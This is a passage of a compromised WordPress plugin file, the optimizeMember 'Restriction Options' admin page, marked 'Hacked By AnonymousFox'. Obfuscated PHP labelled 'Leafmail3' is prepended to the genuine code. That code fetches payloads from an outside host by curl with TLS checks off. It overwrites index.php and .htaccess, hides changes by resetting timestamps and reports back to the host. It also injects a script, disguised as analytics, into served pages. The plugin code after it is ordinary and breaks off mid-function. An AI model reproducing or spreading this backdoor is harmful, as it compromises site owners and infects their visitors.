Hacked By AnonymousFox
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
* Menu page for the optimizeMember plugin ( Restriction Options page ).
*
* Copyright: © 2009-2011
* {@link http://www.optimizepress.com/ optimizePress, Inc.}
* ( coded in the USA )
*
* Released under the terms of the GNU General Public License.
* You should have received a copy of the GNU General Public License,
* along with this software. In the main directory, see: /licensing/
* If not, see: {@link http://www.gnu.org/licenses/}.
*
* @package optimizeMember\Menu_Pages
* @since 3.0
*/
if (realpath (__FILE__) === realpath ($_SERVER["SCRIPT_FILENAME"]))
exit ("Do not access this file directly.");
/**/
if (!class_exists ("c_ws_plugin__optimizemember_menu_page_res_ops"))
{
/**
* Menu page for the optimizeMember plugin ( Restriction Options page ).
*
* @package optimizeMember\Menu_Pages
* @since 110531
*/
class c_ws_plugin__optimizemember_menu_page_res_ops
{
public function __construct ()
{
echo '<div class="wrap ws-menu-page op-bsw-wizard op-bsw-content">' . "\n";
/**/
echo '<div class="op-bsw-header">';
echo '<div class="op-logo"><img src="' . $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["dir_url"]."/images/" . 'logo-optimizepress.png" alt="OptimizePress" height="50" class="animated flipInY"></div>';
echo '</div>';
echo '<div class="op-bsw-main-content">';
echo '<h2>Restriction Options</h2>' . "\n";
/**/
echo '<table class="ws-menu-page-table">' . "\n";
echo '<tbody class="ws-menu-page-table-tbody">' . "\n";
echo '<tr class="ws-menu-page-table-tr">' . "\n";
echo '<td class="ws-menu-page-table-l">' . "\n";
/**/
echo '<form method="post" name="ws_plugin__optimizemember_options_form" id="ws-plugin--optimizemember-options-form">' . "\n";
echo '<input type="hidden" name="ws_plugin__optimizemember_options_save" id="ws-plugin--optimizemember-options-save" value="' . esc_attr (wp_create_nonce ("ws-plugin--optimizemember-options-save")) . '" />' . "\n";
echo '<input type="hidden" name="ws_plugin__optimizemember_configured" id="ws-plugin--optimizemember-configured" value="1" />' . "\n";
/**/
do_action ("ws_plugin__optimizemember_during_res_ops_page_before_left_sections", get_defined_vars ());
/**/
if (apply_filters ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_display_post_level_access", true, get_defined_vars ()))
{
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_before_post_level_access", get_defined_vars ());
/**/
echo '<div class="ws-menu-page-group" title="Post Access Restrictions">' . "\n";
/**/
echo '<div class="ws-menu-page-section ws-plugin--optimizemember-post-level-access-section">' . "\n";
echo '<h3>Post Level Access Restrictions ( optional )</h3>' . "\n";
echo '<p>Here you can specify Posts that are restricted to certain Membership Access Levels. optimizeMember also supports Custom <a href="http://codex.wordpress.org/Post_Types" target="_blank" rel="external">Post Types</a> here. If you have a theme or plugin installed, which has enabled Custom Post Types <em>( i.e. Music/Videos or something else )</em>, you can put the IDs for those Posts here.</p>' . "\n";
echo '<p><em><strong>*Note*</strong> Protecting individual Posts, ONLY protects the Permalinks for those Posts. It is still possible for excerpts of protected content to be seen in search results generated by WordPress, feeds, and Archive views; such as your Home Page, inside a Category listing, or through other queries formulated by your theme. This is the intended functionality. Excerpts are a great way to "tease" public visitors. In other words, public visitors may have access to excerpts introduced by your theme, but any attempt to view the full Post ( i.e. the Permalink ) will result in an automatic redirect to your Membership Options Page; requiring registration.</em></p>' . "\n";
echo '<p><em><strong>*Note*</strong> If you would like to protect many Posts at once ( including Archive views ), you can use Category Level Restrictions, Tag Level Restrictions, or have a look down below at optimizeMember\'s options for "Alternative View Protection", which deals with search results, as well as feeds.</em></p>' . "\n";
//echo ((!is_multisite () || !c_ws_plugin__optimizemember_utils_conds::is_multisite_farm () || is_main_site ()) && empty($GLOBALS["WS_PLUGIN__"]["wp_show_ids"])) ? '<p><em><strong>*Tip*</strong> Can\'t find your Post IDs? Get <a href="http://wordpress.org/extend/plugins/wp-show-ids/" target="_blank" rel="external">WP Show IDs</a>.</em></p>' . "\n" : '';
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_during_post_level_access", get_defined_vars ());
/**/
echo '<table class="form-table">' . "\n";
echo '<tbody>' . "\n";
/**/
for ($n = 0; $n <= $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["levels"]; $n++)
{
$labelText = ws_plugin__optimizemember_getMembershipLabel($n);
echo '<tr>' . "\n";
/**/
echo '<th>' . "\n";
echo '<label for="ws-plugin--optimizemember-level' . $n . '-posts">' . "\n";
echo ($n === $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["levels"]) ? 'Posts That Require Highest Level' . $labelText . ':' . "\n" : 'Posts That Require Level ' . $labelText . ' Or Higher:' . "\n";
echo '</label>' . "\n";
echo '</th>' . "\n";
/**/
echo '</tr>' . "\n";
echo '<tr>' . "\n";
/**/
echo '<td>' . "\n";
echo '<input type="text" autocomplete="off" name="ws_plugin__optimizemember_level' . $n . '_posts" id="ws-plugin--optimizemember-level' . $n . '-posts" value="' . format_to_edit ($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["level" . $n . "_posts"]) . '" /><br />' . "\n";
echo 'Post IDs in comma-delimited format. Example: <code>1,2,3,34,8,21</code> — or you can type: <code>all</code>.<br />' . "\n";
echo 'You can also include all Post IDs of a specific <a href="http://codex.wordpress.org/Post_Types" target="_blank" rel="external">Post Type</a>. Ex: <code>1,2,3,34,all-newspapers</code>.<br />' . "\n";
echo '<em>( which protects several Post IDs, and <code>all</code> Posts of type: <code>newspaper</code> )</em>' . "\n";
echo '</td>' . "\n";
/**/
echo '</tr>' . "\n";
}
/**/
echo '</tbody>' . "\n";
echo '</table>' . "\n";
echo '</div>' . "\n";
/**/
echo '</div>' . "\n";
/**/
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_after_post_level_access", get_defined_vars ());
}
/**/
if (apply_filters ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_display_page_level_access", true, get_defined_vars ()))
{
